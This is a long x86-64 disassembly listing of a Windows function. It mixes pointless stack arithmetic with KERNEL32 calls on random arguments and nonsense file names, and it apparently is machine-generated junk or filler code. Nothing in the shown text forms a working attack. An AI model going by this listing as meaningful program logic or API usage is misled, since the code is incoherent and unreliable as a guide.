movzx eax, byte [rsp + 0xee]
movzx ecx, byte [rsp + 0x7b]
sar eax, cl
mov byte [rsp + 0x70], al
mov rax, qword [rsp + 0x94f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9a88]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x1401e60c0], ax
mov rax, qword [rsp + 0x9d08]
movzx eax, byte [rax]
mov byte [rsp + 0xfe], al
mov rax, qword [rsp + 0xa960]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x66]
shl eax, cl
mov byte [rsp + 0xcf], al
lea rdx, [rsp + 0x282d0]
mov rcx, qword [rsp + 0xa078]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x4314], eax
mov rax, qword [rsp + 0x8eb8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xde8]
xor eax, ecx
mov rcx, qword [rsp + 0xab00]
mov word [rcx], ax
lea rax, [rsp + 0xaa90]
mov qword [rsp + 0xac28], rax
mov rcx, qword [rsp + 0x8d10]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x8f90]
mov ecx, dword [section..data]
imul ecx, dword [rax]
mov eax, ecx
mov dword [rsp + 0x4534], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MapUserPhysicalPagesScatter]
lea rax, [rsp + 0x9858]
mov qword [rsp + 0xac30], rax
mov rax, qword [rsp + 0x9e58]
mov rcx, qword [rsp + 0xa320]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x466c], eax
movzx eax, word [rsp + 0xcf0]
mov word [rsp + 0xee8], ax
mov rcx, qword [rsp + 0x8e30]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xa328]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xd4]
add eax, ecx
mov rcx, qword [0x1401e7528]
mov byte [rcx], al
movzx eax, byte [rsp + 0x9c]
movzx ecx, byte [0x1401e603a]
sub eax, ecx
mov byte [rsp + 0x74], al
movsx eax, word [rsp + 0xd90]
mov rcx, qword [rsp + 0xa560]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xd78], ax
movzx eax, word [rsp + 0xbc8]
mov word [rsp + 0xeec], ax
mov rax, qword [rsp + 0x9728]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9ca8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xcc], al
movzx ecx, word [rsp + 0xd5c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xef0], ax
mov rax, qword [rsp + 0xa160]
mov qword [rsp + 0xac38], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalDeleteAtom]
mov rax, qword [rsp + 0x92c0]
mov rcx, qword [rsp + 0x8f30]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9138]
mov qword [rcx], rax
mov eax, dword [0x1401e741c]
mov ecx, dword [rsp + 0x4600]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4344], eax
lea rax, [rsp + 0x46d8]
mov qword [rsp + 0xac40], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0x9860], rax
lea rdx, [rsp + 0x47f0]
mov rcx, qword [rsp + 0xaa80]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4478], eax
mov rax, qword [rsp + 0xa9f8]
movzx eax, word [rax]
mov word [0x1401e772c], ax
mov rax, qword [rsp + 0x9ed8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9388]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xec8], ax
mov ecx, 7
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x45c4], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xa0f8], rax
movzx eax, byte [rsp + 0xb6]
mov byte [rsp + 0xff], al
movsx eax, word [rsp + 0xd54]
mov rcx, qword [rsp + 0xa590]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa528]
mov word [rcx], ax
movsx eax, byte [rsp + 0xca]
movsx ecx, byte [0x1401e7492]
add eax, ecx
mov byte [rsp + 0xb6], al
mov rax, qword [rsp + 0x9598]
mov qword [rsp + 0xac48], rax
mov rcx, qword [rsp + 0x98e8]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x4514], eax
mov rax, qword [rsp + 0x8f20]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa238]
mov qword [rsp + 0xac50], rcx
movzx ecx, al
mov rax, qword [rsp + 0xac50]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x9880], rax
lea rax, [rsp + 0x4598]
mov qword [rsp + 0xac58], rax
mov rax, qword [rsp + 0x9108]
mov rcx, qword [rsp + 0x8fa0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x47ac], eax
mov rax, qword [rsp + 0x9820]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9c38]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [0x1401e746e], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.C:defeatism_roastHarvestsUnsaturated
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xac60], rax
mov rax, qword [rsp + 0xa490]
movsx eax, word [rax]
mov rcx, qword [0x1401e7660]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x9ed0]
mov word [rcx], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rax, qword [rsp + 0x8fd0]
movzx eax, word [rax]
mov word [rsp + 0xef4], ax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
movsx eax, byte [rsp + 0xcf]
mov rcx, qword [rsp + 0xa370]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xfa], al
movzx eax, word [rsp + 0xea4]
mov word [rsp + 0xef8], ax
mov rax, qword [rsp + 0x9bc0]
mov ecx, dword [rsp + 0x4388]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa0c0]
mov dword [rcx], eax
lea rax, [rsp + 0x9548]
mov qword [rsp + 0xac68], rax
mov rax, qword [rsp + 0x9c10]
mov rcx, qword [rsp + 0x92f0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9d78], rax
mov eax, dword [rsp + 0x442c]
mov ecx, dword [rsp + 0x44f0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4464], eax
mov rax, qword [rsp + 0x95d8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9920]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401e6066], al
movzx eax, word [rsp + 0xd54]
mov word [rsp + 0xefc], ax
mov dword [rsp + 0x20], 0x1ae5
mov r9d, 0x15a4
mov r8d, 0x33b2
mov edx, 0x21d5
mov rcx, qword [rsp + 0xa308]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x47a0], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0xac70], rax
mov rcx, qword [rsp + 0x9058]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movsx eax, byte [rsp + 0xb6]
mov rcx, qword [rsp + 0xa5c0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xc0], al
lea rcx, [rsp + 0x26818]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
lea rax, [rsp + 0xe1c]
mov qword [rsp + 0xac78], rax
movzx eax, byte [rsp + 0x81]
movzx ecx, byte [rsp + 0xfc]
add eax, ecx
mov rcx, qword [rsp + 0xa2d8]
mov byte [rcx], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xa2b8]
mov rcx, qword [rsp + 0xa390]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9470]
mov qword [rcx], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x43d0], eax
lea rcx, [rsp + 0x2a3a0]
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
mov dword [rsp + 0x47dc], eax
lea rax, [rsp + 0x4474]
mov qword [rsp + 0xac80], rax
mov rax, qword [rsp + 0x9298]
mov rcx, qword [rsp + 0x9a38]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9d28]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4534]
mov dword [rsp + 0x47f4], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x45a0], eax
mov rax, qword [rsp + 0x9d40]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa7e8]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x1401e60c4], ax
movsx eax, word [0x1401e6044]
mov rcx, qword [rsp + 0xa590]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xedc], ax
mov rax, qword [rsp + 0x91b8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x79]
shl eax, cl
mov byte [rsp + 0x64], al
mov rax, qword [rsp + 0x8fc8]
movzx eax, byte [rax]
mov byte [rsp + 0x100], al
movsx eax, word [rsp + 0xccc]
movsx ecx, word [rsp + 0xefc]
xor eax, ecx
mov rcx, qword [rsp + 0x9d98]
mov word [rcx], ax
lea rax, [rsp + 0x45ec]
mov qword [rsp + 0xac88], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 8
mov edx, 0xc0000000
lea rcx, str.C:AttenuatingDepartFreemasonry
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xac90], rax
mov eax, dword [rsp + 0x47ec]
mov ecx, dword [rsp + 0x4760]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8e98]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xa940], rax
mov rcx, qword [rsp + 0x8d10]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x47cc], eax
lea rax, [rsp + 0x9160]
mov qword [rsp + 0xac98], rax
mov edx, 0x1594
mov rcx, qword [rsp + 0x9110]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x47f8], eax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x2481
mov r9d, 0x33da
mov r8d, 0xa07cf007
mov edx, 2
mov rcx, qword [rsp + 0x9790]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x4308], eax
mov rax, qword [rsp + 0x94f0]
mov rcx, qword [rsp + 0xa2a0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9bb0], rax
mov edx, 0xf772e
mov rcx, qword [rsp + 0x8f98]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x4440], eax
mov rax, qword [rsp + 0xa9c8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa038]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401e6067], al
movsx eax, byte [rsp + 0xe9]
mov rcx, qword [rsp + 0x9cc0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xb7], al
lea rax, [rsp + 0x78]
mov qword [rsp + 0xaca0], rax
movsx eax, word [rsp + 0xd00]
mov rcx, qword [rsp + 0xaa70]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xbe8], ax
lea rax, [rsp + 0xac]
mov qword [rsp + 0xaca8], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0xacb0], rax
mov rax, qword [rsp + 0x9130]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4628]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9bc0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9470]
mov rcx, qword [rsp + 0x9e50]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xaac0], rax
mov rax, qword [rsp + 0x9f08]
mov eax, dword [rax]
mov dword [rsp + 0x47fc], eax
mov rax, qword [rsp + 0x9948]
mov rcx, qword [rsp + 0x9360]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xa448]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9db0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb60]
sub eax, ecx
mov word [0x1401e606c], ax
lea rax, [rsp + 0xc8c]
mov qword [rsp + 0xacb8], rax
movzx ecx, word [rsp + 0xd9c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xb6c], ax
movsx eax, word [rsp + 0xd54]
mov rcx, qword [rsp + 0xab00]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xe18], ax
lea rcx, [rsp + 0x29fe0]
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
mov dword [rsp + 0x460c], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xacc0], rax
lea rdx, [rsp + 0x28180]
mov rcx, qword [rsp + 0x91b0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x4564], eax
movzx eax, word [rsp + 0xbe0]
imul eax, eax, 0xe12
mov word [rsp + 0xdec], ax
lea rcx, [rsp + 0x25660]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
lea rax, [rsp + 0xdc]
mov qword [rsp + 0xacc8], rax
mov eax, dword [rsp + 0x467c]
mov ecx, dword [rsp + 0x45ec]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9428]
mov dword [rcx], eax
mov eax, dword [rsp + 0x46c8]
mov dword [rsp + 0x4800], eax
mov rcx, qword [rsp + 0x9460]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov r9d, 2
lea r8, [rsp + 0x8c48]
mov rdx, qword [rsp + 0x8e48]
mov rcx, qword [rsp + 0x9dd0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x435c], eax
mov ecx, DrawInsert
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x4804], eax
mov rax, qword [rsp + 0x9700]
mov rcx, qword [rsp + 0x9810]
mov qword [rsp + 0xacd0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xacd0]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xa948]
mov qword [rcx], rax
lea rdx, [rsp + 0x45c0]
mov rcx, qword [rsp + 0x98c8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4754], eax
mov rax, qword [rsp + 0xa6c8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9e80]
mov qword [rsp + 0xacd8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xacd8]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xa430], rax
lea rax, [0x1401e605e]
mov qword [0x1401e7730], rax
lea rcx, [rsp + 0x254d0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
movzx eax, word [rsp + 0xea0]
mov word [rsp + 0xf00], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, word [rsp + 0xc78]
mov rcx, qword [rsp + 0xa0e0]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xa338]
mov word [rcx], ax
movzx eax, byte [rsp + 0xd8]
mov byte [rsp + 0x101], al
movsx eax, byte [rsp + 0xde]
mov rcx, qword [rsp + 0xa370]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9208]
mov byte [rcx], al
mov rcx, qword [rsp + 0x91b0]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x47dc], eax
movzx ecx, word [rsp + 0xdb0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xef0], ax
mov rax, qword [rsp + 0xa578]
mov rax, qword [rax]
mov qword [rsp + 0xace0], rax
mov rax, qword [rsp + 0xa808]
mov rcx, qword [rsp + 0x9180]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa820]
mov dword [rcx], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.C:_battalion_rationaleunharmed_tortoiseshellWorldwar
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xace8], rax
mov rax, qword [rsp + 0x9d70]
mov rcx, qword [rsp + 0x9048]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x9548], rax
lea rcx, [rsp + 0x26968]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0xa9b0]
mov eax, dword [rax]
mov dword [rsp + 0x4808], eax
mov rax, qword [rsp + 0xa230]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x91f0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xe5], al
mov r9d, 2
lea r8, [rsp + 0xa600]
mov rdx, qword [rsp + 0xacf0]
mov rcx, qword [rsp + 0x9848]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4308], eax
movzx eax, word [0x1401e6034]
movzx ecx, word [rsp + 0xd0c]
add eax, ecx
mov rcx, qword [0x1401e75c0]
mov word [rcx], ax
lea rax, [rsp + 0xbb]
mov qword [rsp + 0xacf8], rax
lea rcx, [rsp + 0x255c0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
movsx eax, word [rsp + 0xd64]
movsx ecx, word [0x1401e74c0]
sub eax, ecx
mov rcx, qword [rsp + 0x9ed0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x9e]
mov rcx, qword [rsp + 0xa2d8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x90b8]
mov byte [rcx], al
mov eax, dword [rsp + 0x4494]
mov dword [rsp + 0x480c], eax
mov r9d, 2
xor r8d, r8d
mov edx, 0xf8f6
mov rcx, qword [rsp + 0x9e10]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x478c], eax
lea rcx, [rsp + 0x29f40]
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
mov dword [rsp + 0x4810], eax
mov rax, qword [rsp + 0xa938]
mov rcx, qword [0x1401e6008]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9948]
mov qword [rcx], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadTimes]
lea rax, [rsp + 0x92f0]
mov qword [rsp + 0xad00], rax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x45c0], eax
mov eax, dword [rsp + 0x4214]
mov ecx, dword [rsp + 0x4484]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9130]
mov dword [rcx], eax
movsx eax, word [rsp + 0xcb8]
movsx ecx, word [rsp + 0xd48]
add eax, ecx
mov rcx, qword [rsp + 0xa468]
mov word [rcx], ax
lea rax, [rsp + 0xa2]
mov qword [0x1401e7738], rax
mov edx, 0x264462
mov rcx, qword [rsp + 0xa9b8]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x4578], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 8
mov edx, 0x40000000
lea rcx, str.C:Rejuvenationgrievancelabile
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xad08], rax
mov rax, qword [rsp + 0xac10]
movzx eax, byte [rax]
mov byte [rsp + 0x102], al
mov rcx, qword [rsp + 0x9178]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov ecx, 4
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x4234], eax
movzx eax, word [rsp + 0xe74]
movzx ecx, word [rsp + 0xc8c]
sub eax, ecx
mov rcx, qword [rsp + 0x9ff8]
mov word [rcx], ax
lea rax, [0x1401e6074]
mov qword [rsp + 0xad10], rax
mov rax, qword [rsp + 0xa8b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa8f8]
mov qword [rsp + 0xad18], rcx
movzx ecx, al
mov rax, qword [rsp + 0xad18]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x8c20]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa0c0]
mov eax, dword [rax]
mov dword [rsp + 0x4814], eax
mov rax, qword [rsp + 0xa5c8]
mov eax, dword [rax]
mov ecx, dword [0x1401e741c]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9ee8]
mov dword [rcx], eax
lea rcx, str.Nostalgic_gallops_Emancipates_Orators_talkings
call qword [sym.imp.KERNEL32.dll_AddAtomA]
mov word [rsp + 0xe5c], ax
mov rax, qword [rsp + 0x9578]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x9598]
shl rax, cl
mov rcx, qword [rsp + 0x9ba0]
mov qword [rcx], rax
movzx ecx, word [rsp + 0xd24]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf04], ax
lea rax, [rsp + 0xdb]
mov qword [rsp + 0xad20], rax
mov rax, qword [rsp + 0x96d0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x99]
or eax, ecx
mov byte [0x1401e6053], al
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x4774], eax
movsx eax, word [rsp + 0xb68]
mov rcx, qword [rsp + 0x90f8]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xa880]
mov word [rcx], ax
mov qword [rsp + 0x20], 0
mov r9d, 0x2ae1
mov r8d, 0x26ef
mov edx, 0x18
mov rcx, qword [rsp + 0x95b0]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x4620], eax
mov dword [rsp + 0x2a440], 0x94
lea rax, [rsp + 0xa8]
mov qword [rsp + 0xad28], rax
movzx eax, word [rsp + 0xd08]
mov rcx, qword [rsp + 0xab28]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9250]
mov word [rcx], ax
mov rax, qword [rsp + 0x9588]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x443c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4634], eax
lea rax, [rsp + 0xabb8]
mov qword [rsp + 0xad30], rax
mov rax, qword [rsp + 0xa1b8]
mov rcx, qword [rsp + 0xab80]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x9fb0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x43ac]
mov dword [rsp + 0x4818], eax
mov rax, qword [rsp + 0x9ed8]
movzx eax, word [rax]
movzx ecx, word [0x1401e6088]
add eax, ecx
mov word [rsp + 0xbd8], ax
mov rax, qword [rsp + 0x9250]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xddc]
sub eax, ecx
mov rcx, qword [0x1401e76b0]
mov word [rcx], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EraseTape]
mov rax, qword [rsp + 0xa528]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe28]
add eax, ecx
mov rcx, qword [rsp + 0x9938]
mov word [rcx], ax
movzx eax, byte [rsp + 0x52]
mov byte [rsp + 0x103], al
mov rax, qword [rsp + 0x98d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7b]
add eax, ecx
mov byte [rsp + 0xa9], al
movzx eax, byte [rsp + 0x92]
mov byte [rsp + 0x104], al
mov rax, qword [rsp + 0x9928]
mov rcx, qword [rsp + 0x9d48]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9cc8], rax
mov rax, qword [rsp + 0x94e8]
mov ecx, dword [rsp + 0x4704]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4370], eax
mov rax, qword [rsp + 0xa848]
mov qword [rsp + 0xad38], rax
mov rax, qword [rsp + 0xaa18]
mov rcx, qword [rsp + 0x9fb8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x47c0], eax
lea rax, [rsp + 0xb74]
mov qword [0x1401e7740], rax
lea rax, [rsp + 0xee8]
mov qword [rsp + 0xad40], rax
mov rax, qword [rsp + 0xaae8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xca]
sar eax, cl
mov byte [rsp + 0x96], al
lea rax, [rsp + 0xde4]
mov qword [rsp + 0xad48], rax
mov rax, qword [rsp + 0xa5e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9eb0]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xc70], ax
mov eax, dword [0x1401e6014]
mov ecx, dword [rsp + 0x4554]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4378], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
movzx ecx, word [rsp + 0xdcc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xdb0], ax
lea rax, [rsp + 0x4678]
mov qword [rsp + 0xad50], rax
mov rax, qword [rsp + 0xa9d8]
mov rcx, qword [rsp + 0x98e0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x8d70]
mov qword [rcx], rax
lea rax, [rsp + 0x9928]
mov qword [rsp + 0xad58], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 2
mov edx, 0xc0000000
lea rcx, str.C:ContrastinglyExmembersTidiesAccusative
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xad60], rax
lea rcx, [rsp + 0x26878]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
lea rcx, [rsp + 0xabd0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [0x1401e7500]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8c68]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x1401e7448]
mov byte [rcx], al
lea rdx, [rsp + 0xad68]
mov rcx, qword [rsp + 0x9398]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4738], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x46a8], eax
mov rax, qword [rsp + 0x8fc8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xb8]
add eax, ecx
mov byte [rsp + 0x81], al
mov rax, qword [rsp + 0xa760]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xbd0]
sub eax, ecx
mov rcx, qword [rsp + 0x9320]
mov word [rcx], ax
lea rax, [rsp + 0x88]
mov qword [rsp + 0xad70], rax
lea rdx, [rsp + 0x46b8]
mov rcx, qword [rsp + 0x9c58]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x42dc], eax
movsx eax, byte [rsp + 0xb3]
movsx ecx, byte [rsp + 0x96]
and eax, ecx
mov byte [rsp + 0xd0], al
lea rax, [rsp + 0xa378]
mov qword [rsp + 0xad78], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessVersion]
mov rax, qword [rsp + 0x97d8]
mov rcx, qword [rsp + 0x9948]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9098]
mov qword [rcx], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessPriorityBoost]
mov rax, qword [rsp + 0x9018]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x474c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9a78]
mov dword [rcx], eax
mov qword [rsp + 0x20], 0
mov r9d, 0x9f
mov r8d, 0x2ad9
mov edx, 0xf9
mov rcx, qword [rsp + 0x9b90]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x481c], eax
mov eax, dword [rsp + 0x4600]
mov dword [rsp + 0x4820], eax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x4560], eax
lea rcx, [rsp + 0xa600]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
lea rax, [rsp + 0x86]
mov qword [0x1401e7748], rax
